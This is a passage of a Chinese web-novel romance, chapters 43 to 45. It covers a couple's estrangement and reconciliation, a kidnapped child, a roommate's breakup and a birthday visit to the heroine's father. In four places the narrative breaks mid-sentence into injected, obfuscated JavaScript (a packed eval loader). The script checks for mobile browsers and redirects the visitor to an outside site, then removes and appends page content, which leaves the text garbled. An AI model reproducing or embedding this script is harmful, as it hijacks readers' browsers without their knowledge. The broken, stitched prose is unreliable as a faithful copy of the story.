“我觉得你别太认真了,洪旺说翁总不会留在Y市的,说不定什么时候就走了。他们这种人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067346|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恋爱和结婚是不一样的。” 卓繁星第二天才回复翁乐仪。 后续聊天也是多是这样,会间隔许久。翁乐仪打过一个电话,并未接通。等卓繁星再拨过来,开头便问有什么事。 他抿起唇,听见对面杂乱的童声,卓繁星很快便说:“回去再说吧,我先挂了。”之后便再没有消息。 为什么夜里亲密无间的两个人,次日就变得陌生。翁乐仪在工作的间隙,试图去想这个问题。然而他把那天的事从头到尾都想一遍,依旧毫无头绪。 他在阳台抽着烟,手机里卓繁星的聊天界面还维持着两天前的对话。 这日下午的课结束,卓繁星看见翁乐仪的信息。说在楼下的圣诞树等她。卓繁星坐电梯下去,天已经暗了,树上的灯密密麻麻地亮着,十分梦幻。 翁乐仪穿着一身黑,黑色冲锋衣、黑色运动裤加一双黑色运动鞋,因为个高身板挺直,免不了引人注意。 卓繁星倒不似微信里的冷淡,仿佛没有那些事,他们还和往常一样。其实这是卓繁星的能力,那些坏情绪全都被她收拾干净,锁起来。微信上主动发起聊天似乎变得尴尬,可他如今都到了面前,她早就恢复以前的模样了。 她小跑过去,脸上带着微笑,虽是克制的,但不能说不快乐。 翁乐仪一个人坐在排椅上,手上拿着手机,时不时滑两下。卓繁星走到他后面想蒙他眼睛,手刚伸出去,他扣住一只,扭头看见她,有些诧异。 “回来啦。”她眼睛亮亮地望着他,脸上粉红。 翁乐仪又困惑起来。“嗯。Luna的店做了圣诞装饰,请我们去玩。” “我在她朋友圈见了,确实很漂亮。” 卓繁星像以前一样去牵他,可他往前走,错开了。 卓繁星愣了片刻,将手缩回自己的口袋,又免不了把脸往围巾里埋了埋。 一路上,卓繁星说工作室给每个小朋友买了圣诞玩偶,何安琪约了甜品摆台,还找了一个做棉花糖的,那天会很热闹。工作室里剩下一些圣诞贴纸,她拿回来一些,都贴在租房的玻璃窗上了。陈女士要带Bella去迪士尼过圣诞...... 翁乐仪的反应堪称平淡。当然她说的的确不是什么很有趣的话题。 在一个停车的路口,他去摸索一瓶薄荷糖,卓繁星趁机抓住他。 就像个甩不掉的牛皮糖。 翁乐仪看了她一眼,卓繁星果断选择避开,只是仍不肯松手。 “为什么这样?”他在沉默了十几秒后开口。 卓繁星还在挣扎。“什么?微信么,是这两天太忙了。” 翁乐仪一下将手抽开,侧脸十分冷峻。 又安静了一会儿,卓繁星讷讷道:“如果累的话,不一定要今天去Luna那边的。” 翁乐仪没有回答,只是翻出薄荷糖,倒了两颗在嘴里,然后面无表情地咬着。 车内的环境如同死寂,这时卓繁星的手机响了,像是一根弦突然绷断了,眼见着它越来越紧,如今倒给人一种如释重负的感觉。 43. 第 43 章 电话是潘潘打来的,她在那头的声音显得慌乱。 “繁星姐,嘉嘉不见了。” 卓繁星赶到工作室的时候,李阿姨已经哭过一轮,眼睛又红又肿,手脚发抖。 嘉嘉是在游乐园不见的。这是在工作室楼下的一个儿童乐园,每次课上完,会允许她在里面玩半个小时。家长都是在外面等的,李阿姨就去接了个电话,回来就找不见她人了。 “联系齐先生了吗?”卓繁星问潘潘。 “联系了,那边没接电话。” 卓繁星问:“游乐场没监控吗?” “那边监控坏了。”讲起这个事潘潘就糟心。“大厦那边的监控是物业管着的,他们说要等警察过去。我估计没人,吃饭的点了,他们怕麻烦。” 翁乐仪说:“我问问齐帆是不是还在公司?” 警察很快过来,工作室的监控也一并调取出来。 孩子确实是在上课结束后离开的工作室,后来几个楼道的监控显示李阿姨带着她下电梯,往游乐园方向去,后来监控也拍到了她,有个女人牵着她,可是这个人带着口罩,李阿姨也说不认识。 齐帆也终于联系上,听到消息,人懵了一下。 “肯定是我前妻,就是她!先前她找过我,她后来生的小孩得白血病了,要做配型,她想叫嘉嘉试一试,我不同意。”他在电话那头喊,看见模糊的监控照片更是确信无疑。 他人一到,脑门上都是汗,额头两侧青筋鼓出来,像是差一点就要戳破皮肤。他看着监控里的画面,脸上泛出不正常的红,两只手撑着桌面,气喘如牛,整个人都在发抖。 齐帆和前妻早就没了联系。早几年嘉嘉刚出生的时候,偶尔还会有一两个电话,可是她现在的丈夫介意,再加上后来她自己又生了孩子,就不怎么上心了。 警察很快联系上人,还有她丈夫。嘉嘉已经坐上高铁,到了临市的高铁站才将人给截住。齐帆根本等不了,一听说女儿的位置,就驱车赶过去。 所幸只是虚惊一场。 “今天太晚了,Luna那边下次再去吧。”卓繁星同翁乐仪说。 卓繁星觉得有些累,或许明天,她可以和他道歉,然后好好地同他讲,可以撒娇,可以卖乖,今天就算了。 翁乐仪说:“我送你。” 卓繁星没有拒绝,两人安静地坐上车,车子开到她家楼下。卓繁星有心想同他亲近一下,或者说几句,总之不要显得那么疏冷,可哪样做起来都有些不合时宜。 他们之间的关系好像突然间退化到了刚认识的时候,不,也不太对。谁会对一个陌生人这样,不知如何是好。 总之,明天再说吧。 卓繁星说:“谢谢,回去慢点开。” 她让自己尽量自然地下车,却又不回头。车门合上的瞬间,她就向着公寓楼内去了。脑子好像只能单线程思考,让她不愿去想,就按照最简单的路线去执行——你是不是要回家?那就赶紧进去,刷门禁卡,上了电梯,按上10层按钮,然后开门关门,上楼梯,你就可以安心了,只有你一个人。 卓繁星正是这样做的。 邵丽丽还没回来,这让她在进门的一刻就呼出一口气。 工作小群里,关于嘉嘉的信息还在更新。 潘潘:【简直离谱。那个女的怕孩子闹,给她喂了药,嘉嘉上了动车就一直睡着。】 小余:【震惊!一言难尽,孩子吃药不会有副作用吧。】 潘潘:【不晓得呀。家里人心疼死了。那个女的就是利用嘉嘉的善良,李阿姨路上跟我说,近段时间嘉嘉老提起,说什么妈妈给她买玩具了,还说要来看她什么的,她那个时候就觉得不对劲,可也不好说什么。】 何安琪:【也不知道她怎么想的,两个小孩儿又不是一个爸爸,配型的概率很低吧。而且嘉嘉还那么小,怎么忍心。这个年纪已经记事了,以后想到亲妈做这样的事,不知道要多伤心。】 潘潘:【撇撇嘴,父母又不要考试,新闻上离谱的还少吗。还好嘉嘉爸爸还是很爱她的。】 何安琪:【你回头记得再打个电话过去,多关心关心。】 潘潘:【知道知道。】她圈了一下繁星,问:【到家了吗?】 繁星:【到了。】 潘潘:【差点忘了,我今天看见繁星姐的男朋友了。】 群里接二连三冒出几个脑袋,卓繁星暗灭手机,突然觉得很难受,她在冰箱里只找到一桶酸奶。这是邵丽丽买的无糖希腊酸奶,实在算不上好吃。可再不塞点东西,她感觉要憋死了。正吞咽的狼狈,邵丽丽回来了。 “楼下是翁总吗?”她一进来就问。“你在干嘛?”看见她这幅样子吓了一跳。 “什么?” “……我远远看了一眼,在下面抽烟。” 卓繁星搁下勺子,匆匆套了外套下去。翁乐仪站在不远处,靠着车,手里还有一截快抽完的烟。 外头很冷,风刮的狠,呼呼的,地上的树影子乱摆,把他的头发也吹乱。他指间那点火看着极为微弱,飘出的白烟会从他吐息间扩散出去,模糊了五官。 看见她下来,翁乐仪直起身,说:“刚有个电话,我抽完这支就走。” 卓繁星说:“你晚饭呢?” “路上买点。” 翁乐仪咂着唇,有一些苦涩,混着薄荷的味道。“你上去吧。”他这样对她讲。 卓繁星看他一眼,紧了紧身上的外套,站到他身边,同他一样靠着车。刚吃下肚的酸奶还堵在喉咙眼儿,一种黏腻的石灰一样的质地。或许正是这样的感觉,叫她说不出话来,生怕说多了就要吐出来。 烟抽完了,他看向她,风把她耳朵都吹红了。 翁乐仪把副驾的车门打开,卓繁星默不作声地过去。 “想吃什么?”车上,他问她。 卓繁星摇头。“我不是很饿,你按你自己的来。” 车子进了地库,卓繁星恍然说了句:“真快。”明明从他家到她的租房要四十几分钟的车程。 她解开安全带,身边的人显然更快,啪嗒一声,金属扣松开。卓繁星尚来不及反应,便被他抱在怀中。她轻轻扯了扯他的冲锋衣外套,硬挺的面料抓在手里有些滑,让人不自觉便攥紧。 翁乐仪不说话,一时间只有两个人的呼吸声默默地仿佛在回应对方。 卓繁星无声地张开唇,尝试将泪意憋回去,像一条用嘴呼吸的鱼。然而还是徒劳。眼泪就像小溪,源源不断地从她的眼眶里流出来,最终消失在领口。 翁乐仪或许感觉到了,略松开她,卓繁星就像应激一样抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067347|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的更紧。 他们就这样抱着或许十分钟,或许只有五分钟。总之松开的时候,依旧安静,像是两个不会说话的人。 而在下车后,翁乐仪像平常一样牵住她。 电梯门上映出两人的影子,卓繁星看的怔怔,恍惚与门上他的影子对视。 她感觉自己仿佛又回到了单线程的思考,可是那种感觉不似先前的麻木,更像是泡在温泉里,泡久了,人便昏昏然要睡去。 她觉得自己想要拥抱他,然而直到在餐桌前坐了好一会儿,才走过去这样做。 翁乐仪在厨房煮面,听见声音看了她一眼,说:“我烧了方便面,你等下吃点。” 屋内暖气开着,他脱了外套,就穿了件白衬衫,扣子解开,带了几分随性,一只手拿着筷子,搅了两下锅里的面,问她:“要加蛋吗?” 刚出口,背上贴上来一个温软的身子。小腹上两只手交握,牢牢环着他。他顿了片刻,空下来的手握住她的,锅里的水噗噗滚着,一时间屋内只有这个声音。 “要加蛋吗?”不知过了多久,他终于想起来了刚刚的问题。 “不要,要你。” 卓繁星抵着他背的脑袋像是一只小钻头,钻啊转啊,就那么轻而易举地从他的肌肉里钻进去。 室内的温度渐渐升高,锅里的面终究是无人在意。 卧室里,卓繁星闭着眼睛睡着了。 她睡得很安稳,嘴巴微微嘟着,脸色粉嫩,像一朵刚刚绽放的桃花。脑袋上被汗浸湿的头发变成了亮黑色,在额头上调皮地贴着。 翁乐仪看着怀里的人,在她那条疤上轻轻婆娑。 翁乐仪想起与她的几次交集,似乎都与她爸爸有关。 不去赘言早前在吴家院子的相遇,更早的时候他与她在那次荒诞的告白后许久未见,在医院碰到她的时候,她蹲在楼梯间哭,麻木安静的哭,看见他的时候才有些慌乱。 还有更早,高中的时候,她爸爸到学校里来找她。 那天下了雪,天上雪花飘着荡着,优哉游哉的,却很冷。翁乐仪刚从网吧出来就听见女孩儿冷淡的声音。 “你别来找我了,我不想见你。” 他低头看了一眼,见是她稍显诧异。 “灿灿,爸爸就是想到马上是你生日。” “我不需要!你能不能别这样突然出现,我一点都不开心,你现在对我来说就是个陌生人。别这样行不行?自我感动吗?” “你是不是没钱了?你说实话。我没钱给你,我现在还在念书,我没有钱的。” 这是他头一次听她这样讲话,她一贯在他印象里是个安静乖巧的人。 很快下面传来渐渐远去的脚步声,过了一阵,又听见几声细弱的哭声。 他看见卓繁星蹲在地上,头发上沾了雪,边上一只破开的蛋糕盒,蛋糕滚出来,几颗罐头樱桃落在雪地里,格外显眼。 他也不知怎么就看了半天,看见她拾了一颗塞进嘴里。 那天的天是青灰色的,巷子里的光线有些暗,雪地里的有一串凌乱的脚印,他趴在栏杆上,脚踩着台阶,踢了一捧雪下去。 掉地上了还吃,脏不脏。 窸窸窣窣的雪和盐粒一样落在她身上,她惊慌地抬头看,却只看见一个黑色的影子。 44. 第 44 章 卓繁星醒过来是听见翁乐仪换衣服的声音。她有些迷糊地睁开眼,看着衣帽间的方向。翁乐仪从衣帽间出来,正在扣袖子上的扣子,看见她醒了,走到床边,在她额头上贴了贴,捋了捋她的头发。 他停顿了一会儿,卓繁星都有些不明白了。 “干什么?”她这样问他。 翁乐仪摇头,他怕某人一觉醒来又变成先前那样。 “晚上去Luna那边吃饭。” “我晚上有课。” 翁乐仪想了想说:“那过两天吧。” 他低头亲了下她额头,卓繁星一下缩回被子里去。她脸上有油哎。 卓繁星再去工作室果然遭受了不少调侃。潘潘说:“繁星姐不声不响,结果一出手就是个大帅哥。这种好事怎么不带上姐妹我呢?所以在哪儿找的?”她星星眼吧唧吧唧望她。 “我们是同学。”卓繁星被逗笑。这个回答不错,可比后来的缘分好像靠谱多了,能堵住不少问题。 潘潘果然kao了一声。“同学会再碰见的?那我要不要去啊下次,可是我们好像没有组织同学会的。” 何安琪说:“你还不如让她男朋友给你介绍一个靠谱。” “是哦,繁星姐,有帅哥吗?我要帅哥。你男朋友那种我高攀不起,有一半就行。” 卓繁星认真点头:“回头我给你问问。”她摸了摸她脑袋,有种看妹妹的感觉。 嘉嘉这周的课都不过来,卓繁星说:“孩子是有什么问题吗?” 潘潘说:“我和她爸爸联系过,应该没什么问题。这个到底是他家家务事,我也不好多问。” 何安琪说:“工作室今后不要谈这件事了,等会儿开会的时候我也会强调一遍,家长肯定是怕闲言碎语太多。” 周末的时候,翁乐仪有一场高尔夫比赛,是俱乐部组织的小型赛事。他公寓里就有一个室内场地,卓繁星还去玩过。 球场离他家并不远,能在临近市中心的地方圈这么大一块地可见不是随便什么人都能进来的。卓繁星甚至不知道Y市还有高尔夫球场。 卓繁星穿了一套宽松的运动服,在去尝试拿翁乐仪那只包的时候,活像个跟在他后面的球童。 “少爷,您请。”她力气还是可以的,只是这只球包太大了。 翁乐仪把自己的帽子摘下来,罩在她头上,卓繁星就更像了。 “有奖金吗?”她眼睛全给罩住了,鼻子在看他。 “第一名五千。” “那还不错。” “但是要请所有人吃饭。” 卓繁星啊了一声。“那还是算了吧,咱们不要了。” 到了球场,卓繁星没想到会碰见乔诗晴,最后一次碰见也就是上次老板过生日的时候,微信上倒是时常刷到她。 “卓繁星?”她也很意外。她不似卓繁星纯业余,带着手套,模样俏丽。“好久不见呀。你一个人来?” 卓繁星想了想说:“和男朋友一起过来。”她实在不像会无缘无故出现在这里的人。 “男朋友?哪个啊?”她目光投向场中,年纪轻的有,不过不多。 卓繁星说:“穿红衣服那个。”今日,翁乐仪难得穿了一件红色高领卫衣,有些张扬的耀眼。 乔诗晴果然一眼就找见,眼神有些意味地看她。“眼光很好哦。” “是Y市人吗?做什么的呀。” 卓繁星说:“做电池这块。” “噢,工程师呀。那也很不错,现在这方面很吃香的。” “你呢?是来比赛吗?”卓繁星问她。 “我也陪我男朋友过来。喏,就是那个,上次何姐生日的时候来过。噢,我忘了,你那时候好像没在。他是做牙医的,市里最好的私人口腔医院你知道吗,就是他家的。” 卓繁星看了一眼,是个穿黑色polo衫的男人。那边翁乐仪摘下手套,刚好往这边看了一眼,卓繁星朝他挥了挥手,他轻轻笑了一下。 “玉成传媒有没有联系你?”乔诗晴突然问。 “谁?” “倪玉城那个选角团队,你上次那个跳舞的视频他们官网转发了呀。他不是在筹备新的电影吗。” 卓繁星说:“我没有这个想法,就让何姐帮我推掉了。” “那太可惜了呀。”乔诗晴感叹:“你呀,就是个淡人,搞的我们都很俗气.....哎,hh,所以何姐才喜欢你呀。” 返程的时候坐在接驳车上,她男友邀请道:“难得碰见一起去吃点,附近有家日料店,我朋友开的,特别讲究。” 乔诗晴趴在卓繁星后面,也这样讲。 翁乐仪说:“今天不巧,我和我女朋友约好了,下次吧。”他客气颔首,带着卓繁星离开。 这也并非借口,他们说好了要去Luna那儿。 翁乐仪将那个第三名的奖金牌子给她,卓繁星抱着笑。“要不要发个朋友圈?” 翁乐仪心情很好,帽子摘了,微湿的头发向后捋,眼睛里神采奕奕,比往日更活泼。更何况他今日穿了一件红色的卫衣,愈发像个大学生。剪裁利落的衣服版型将他的肩膀衬的宽阔平直,高领正挡在喉结上,上下动一动就很诱人了。 卓繁星拿出手机拍了一张,又叫他拿着奖金牌子再拍一张。她欣赏完了,他把她拽过来,拿着手机拍合照,后来又在她侧脸亲了一口。 不同于上次在Luna餐厅拍的,这次两个人眉眼里都是扑出来的笑意,他眼睛亮的像只小狗,清澈又热情,还是身板很大的那种。 卓繁星靠在他怀里,鼓鼓的胸肌热力澎湃。她想起自己第一次在家看他健身的样子,带着耳机,汗水淋漓,面无表情。衣服撩起来擦眼睛上的汗,腹股沟上的汗珠呲溜滑下去。 卓繁星坏心思地把手伸到他衣服里。 翁乐仪显然没料到她会这样。卓繁星的手可凉多了,他腹肌立刻收紧。不过他很快就镇定下来,卓繁星感觉他那边的座椅在往下降,回撤的时候就被他抓住了。 “要不不去Luna那儿了。” “不行!说好的。” “那你招我。”他挑眉,一只手垫在脑后,多了几分玩世不恭。 卓繁星在Bella家的工资到账了,她非常大气地对翁乐仪说她来请客。翁乐仪笑着说:“那这1000块就还我吧。” 卓繁星切了一声。“还没到账呢。” Luna餐厅的圣诞布置极为显眼,两层的小楼上一只硕大的灯饰蝴蝶结吸引着路人的目光,上面垂下许多星星灯条,透过玻璃窗,一眼就能看见店内的圣诞树。卓繁星同上次一样跑去楼上,她在她朋友圈见了一条项链很喜欢——细金链条,下方挂着着一颗星星。不知道价格如何。 一问,果然不便宜。 “能打折吗?” Luna考虑了一下说:“如果小翁愿意给我当模特的话。” “那还是算了。” “喂。”她无奈地翻了个白眼。 卓繁星笑着说:“他肯定不肯的。” “我给你包起来,要挑盒子吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067348|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在打丝带的时候,她突然说:“你朋友最近还好?” “朋友?邵丽丽?” “对。”Luna点头。“我听到一些消息,她好像遇到一些不好的事。” 她将洪旺与她分手的事说,卓繁星这两天都没有回去过,自然不知道什么情况。那天出门的时候她看着都好,她在微信上问她在家吗,那边很快回到:【在,有事?】 卓繁星想了想还是赶回去。 客厅茶几上摆着几份外卖,邵丽丽吃惊地看着她,赶紧把手里的烟暗灭在啤酒罐里。 “你怎么回来了?” “回来拿点东西。” 邵丽丽把窗户打开一些,卓繁星看见她越发瘦了,可是脸上浮肿,精神并不好。 “你今天没上班?”她走过去,目光扫过那一堆空酒罐。 “别提了。倒霉死了,被之前那个大婆缠上了。” “大婆?” 她看了她一眼。“就是做宠物用品的老板娘。” “怎么会这样?” “我怎么知道。巧了吧。她家想做一些自媒体营销,然后就找上我这家公司了。这样看她家生意不错哎,我们报价老高了。” “这是重点吗?”卓繁星很是无奈。 邵丽丽往沙发上一躺。“反正她就是看见我了呗,然后么嫌我晦气。” “你们老板要辞掉你?” “他倒没这么说,可也要我呆的下去噢。”她撇撇嘴。“老娘早就不想呆了,就是我报了个口语班呀,现在钱也不好退了。不过这个钱是洪旺付的,我也不吃亏。” 卓繁星说:“那洪旺知道吗?” “他没理睬我了呀。”邵丽丽讲。“我能预料到的啦。他同那个赘婿完全是两种人,那个怂男都看我不上的,他,我不指望的。能捞点么是一点咯。他生的也不难看。哪有那么好的事呀,又睡帅哥,又拿钱,享受个个把月么很好了呀。你看我干什么呀?” “......看你嘴硬。” 邵丽丽瞪她一眼。“那你要我怎么样?哭给你看?” “那你之后工作怎么办?” “杰米哥那边还有联系的呀,有活就做。那种公司里面也没意思的,一个个拽的和什么一样,我融入不进去的啦。实在不行,我找个美甲店上班去,我最早时候就干这个的。美容销售也行,不过我怕自己忍不住钱全花里面了。总是活的下去。” 她话音低落,还是叹了口气。“其实我先前是动过心的啦,那天我在剧组里面晕过去,他过来接我的时候,我是真的心动。不然谁要去他说的破公司,我就想着改变一下,万一呢。他们这种人家要找对象起码也得是个小白领吧,不好像我这样的。” “我十七岁的时候,我爸就找人上门来相看我了,得亏我跑的快。” 卓繁星看着她迅速红起来的眼睛,里面的血管一下被填满,像是给泉眼蓄水。 “不用这样看着我,我都习惯了。”邵丽丽一笑,起来喝了口酒。 卓繁星顿了许久,讲起自己的事。 邵丽丽说:“那你还是跟我比吧。”她打了个嗝。“我爸从小就觉得我不是他亲生的,他在外面打工那年,我妈生的我,他觉得我是她和邻居搞在一起生的。我们那边头一个女儿还能再生一个,他又不好换老婆咯,就再生了我妹妹。他把我妈打跑了,后来再没人肯跟他过日子了,他只能指望两个赔钱货了。” “我还是很羡慕你的,繁星。”她怔怔望着她,不晓得是不是喝醉了。“你比我干净呀。” 45. 第 45 章 “干净?都什么年代了,还能说出这样的词儿。”卓繁星望着她,好叫她明白这样讲实在是看低了自己。 邵丽丽瘪瘪嘴,喉咙滚了滚说:“反正就那意思。” “什么意思。你以前做错了事,选错了路,也吃了亏,受了罪了。往后不犯就是了。” “有这么简单?” “不然呢。你是杀人了还是放火了。”卓繁星推了她一下。“你自己不是说了,男人靠不住,是不是老和我讲的。” 邵丽丽喷笑出来。“是靠不住。可要是能叫我靠一下,多捞一点是一点。洪旺要是真是个没钱的,你看我看他不。”她耍混道:“我就这样,我吃了亏我也没改好。” “我就是看的透透的了。你说他们那样的消费,我就是再怎么努力,除了靠他们,我能够的到?那一只包多少钱,我半年工资都够呛。” 卓繁星说:“你试过了?” “怎么没试过,你以为那圈子那么好混。新鲜的小姑娘一茬一茬地往外冒。” “可是我们就是普通人呀,有几个能和他们一样。” 邵丽丽喝一口酒。“我明白。我就是心比天高,命比纸薄。不踏实。我知道的,我就是没学好。” 她朝她笑笑,有些可怜地撒娇意味。 “是那圈子里有钱人太多了,看的我眼花缭乱,脑袋也不清醒了,以为自己和他们一样。其实人家都不拿正眼看你。” 卓繁星见她又绕回去,没再讲。 每个人经历都不一样。她经常觉得自己很拧巴,看邵丽丽的时候羡慕她潇洒,做事果断。当初在医院里,她刚动完手术,都能掀帘子和人翻脸。这事儿搁她身上,可做不到。可后来,她觉得她也挺拧巴。 正是知道拧巴是一种什么样的感觉,她才不去劝了。因为她自己都明白,要过自己那关有多难。跟膝跳反应一样,控制不住。 卓繁星很快又要拧巴一次。她生日快到了,卓强每年这时候都会给她打电话。 他问她下周回不回来。 卓繁星正在上课,说:“有什么事?下周不一定有空。” 那头的声音像是搓着手再讲,局促极了。“不是你生日快到了。我叫你程姨烧桌菜......” “过什么生日?”他立马就被打断了。“我有没说叫你别折腾了。我忙着呢,挂了。” 然后这一整天胸口就和堵了块石头一样。 程霞的电话隔了一天就打过来。“灿灿。你和你爸说啥了?他这两天夜里睡不着,凌晨2点多就爬起来。我看着吓人,就坐那儿电视机放着。他这两天血压也不好,不知道是不是天冷了。他这两天脸黑的呀,气色一点都不好,我看了就心慌。” “这话阿姨不该讲,可是你爸身体不好,你稍微注意一点。他就你一个女儿,嘴上不说,就惦记你。” 卓繁星刚卸下石头,一顶帽子又扣了上来。 她总是很佩服程霞,她能忍卓强的贫穷,能全心全意地照顾他,就是病重那几年,她在病床跟前端屎端尿,毫无怨言。也是她,找到学校来,跪在她跟前说:“灿灿啊,你救救你爸爸吧。现在只有你能救他了啊。” 卓繁星都不敢想把她替换成姚馨雅会怎么样。她有时候想幸亏她跑的快,她可真聪明呀。每当这个时候,卓繁星就觉得她到底是她生的,一样的冷情,一样的嫌弃这个男人。 卓繁星的拧巴就在这儿。 她感觉这是因为她同时又有了一半卓强的基因——窝囊。这使她不上不下,既做不了完全的恶人,又没办法骗自己,生生膈应住了。 卓强怎么就不能再生一个,也好叫程霞不要每次都将这句话端到她面前。 卓繁星的拧巴伴随了她二十几年。她后来就意识到这不是一个聪明的行为,可要是真是聪明地去做了,那她自然就不拧巴了。可真是一个悖论。 总之,卓繁星嘴上硬,没有松口回去,到了周二休息,仍是坐上了回乡的小巴。 小镇上游人冷清,石板路被雨淋的亮堂堂泛着冷光,桥边银杏树的叶子也落了大半。吴家院子大门合拢,她绕到后门进的院,院里不知道什么时候养的大黄狗,见着生人吠的欢。 “哟,我说谁呢,灿灿来了。你爸还说你不空来。”王妈跑出来看,一巴掌招呼在狗脑袋上。 “这是福福。上个月我女儿送来的,他们一时兴起,后来没工夫管它,让我给牵回来,结果阿叔喜欢的不得了,就养着了。你看,你爸还给它搭了个窝,特别结实。他这个手艺真是没得说。” 还没进屋,她就远远叫起来。“卓强,程霞,灿灿来咯。” “灿灿。”卓强又高兴又局促,看见她两只眼睛就发亮。 卓繁星不知道该怎么形容,她瞬间就有点烦他了。 这不是第一次。 夜深人静的时候,卓繁星会想,或许是一种惩罚。她想要卓强羞愧,让他面对她不知如何是好。多可悲呀。她知道自己不是一个善良的人。她会问自己即便这样做又能得到什么?为什么不离开呢,离开Y市,反正你也是一个人。 卓繁星不敢承认,她其实依赖着他。 要是不在这里,她真的就是一个人了。 程霞说:“我去买点菜。”她回屋里拿围巾帽子。王妈说:“不用急,小菜都有,你买点灿灿爱吃的肉啊鱼啊。” 卓强载着她去了菜场,老头乐在石板路上一晃一晃的,在淅淅沥沥的冷雨中渐行渐远。 卓繁星折返回去,莹莹拉着她坐过去,她下头有个暖脚器。“灿灿姐,你把脚搁上来,这下雨天冻死个人了。”又把菠萝蜜和桂圆推到她跟前,还有一袋炒货。 两个人跟过冬的仓鼠一样坐在一起。 “灿灿姐,你是不是谈对象了?”她看了一眼旁边摘菜的王妈,跟她耳语。 “嗯?” “我都瞧见了。你朋友圈。” “卓叔知道不?应该不知道吧。他们前两天还在说哪里有个小伙子想介绍给你。不过我听了一下觉得不好,学历太低,你肯定看不上。你要是谈了,就和他们讲,省的他们操心。” “那个王妈的外甥还没谈呢,上次说给他介绍了一个,结果没成。” 卓繁星塞了一耳朵八卦,手机里翁乐仪的信息发过来,问她几点回来。 【吃了中饭就回。】 【晚上在外面吃吧,我来接你。】 卓繁星愣了一下,总不是到这儿来接吧。【下雨天别跑了,家里吃吧,我去买点菜,还是吃上次的火锅好不好?】 莹莹狐疑地看她。卓繁星一下把手机合上。 “啊,男朋友。”她古灵精怪地朝她眨眼睛。 一个小时之后,卓强他们回来。卓强手里拿着一只蛋糕,说:“来都来了,就提前给你过生日。” 莹莹高兴。“呀,今天沾灿灿姐的光有免费的蛋糕吃了。” 程霞把菜搁下,忙着去给卓强擦衣服上的雨水,一边指挥道:“你拎着干啥?放桌上呀。”卓强笑着说对,身子转了一半,桌子在另一边。 王妈见了笑。“这是高兴坏了。女儿来了是不一样啊。灿灿,你往后得多来来。这爸爸跟女儿感情就是不一样。我家里那个小子,他爸不抽他就算好了。我闺女他就是当眼珠子一样,从小捧在手心里的。” 莹莹说:“我以后也要生女儿。” “你?”王妈笑她。“你先找到人吧。” “找人不是分分钟,只是我们现在要求高呀。” 王妈驳她:“你以为是什么好事呀。眼光高找不好的。你们小姑娘就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067349|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看脸,其实脸是最不重要的。都是看电视剧看坏了。” 莹莹不服气。“你自己不天天看霸道总裁,上次让我帮忙充钱,那个短剧放出来,我可是看到的噢。” 王妈难得不好意思了,说:“我孙子都有了,看看怎么了。” “你们也喜欢长得好看的呀。” 王妈瞪她一眼,对卓繁星说:“灿灿,你不要跟她学。男人踏实最重要,还有人心要好。前两天,那个......” 程霞一下拉住她。“今天一下忙起来,这几个菜等下还要你帮我切一下。” 她们走了,莹莹凑到她边上说:“你和她外甥成不了,她不知道怎么对你上心起来。你要是对象谈好了,就和卓叔讲,省的她费这个心思。我看程姨也头痛,她老拉着她讲。” 卓繁星想估摸觉得她被嫌弃了,有些对不住她。 吃饭的时候,吴老爷也上了桌。莹莹坐在卓繁星边上,催她点蜡烛,桌上都是年纪大的,不兴这个,倒是卓强听了说是,是要点。他早就戒了烟,还是问吴老爷借的打火机。蜡烛点完,卓繁星等了一会儿就吹掉了,还有些不好意思。 分蛋糕的时候,卓繁星看见卓强泛红的眼睛。她把蛋糕递给他,他有一种诚惶诚恐地高兴。卓繁星一下就木掉了,心口像是有虫在啃噬,滋味绝对不好。 下午卓强送她出门,卓繁星本来说不要,他喝了酒,怎么开车。可他不肯,程霞也说不要紧,就是个小电瓶车,路上也没什么人。“你难得来一趟,叫你爸送。” “对,对。”卓繁星看着卓强脸上的笑,到底没有拒绝。 外头雨还在下,吴家门口灯笼的红穗子都打湿粘在了一起。 卓繁星坐在他的老头乐上,摇晃着往外去。白色的冷雾弥漫在周围,他憋了半天,见她发现他在看她了,干巴巴地说:“这天太冷了。” 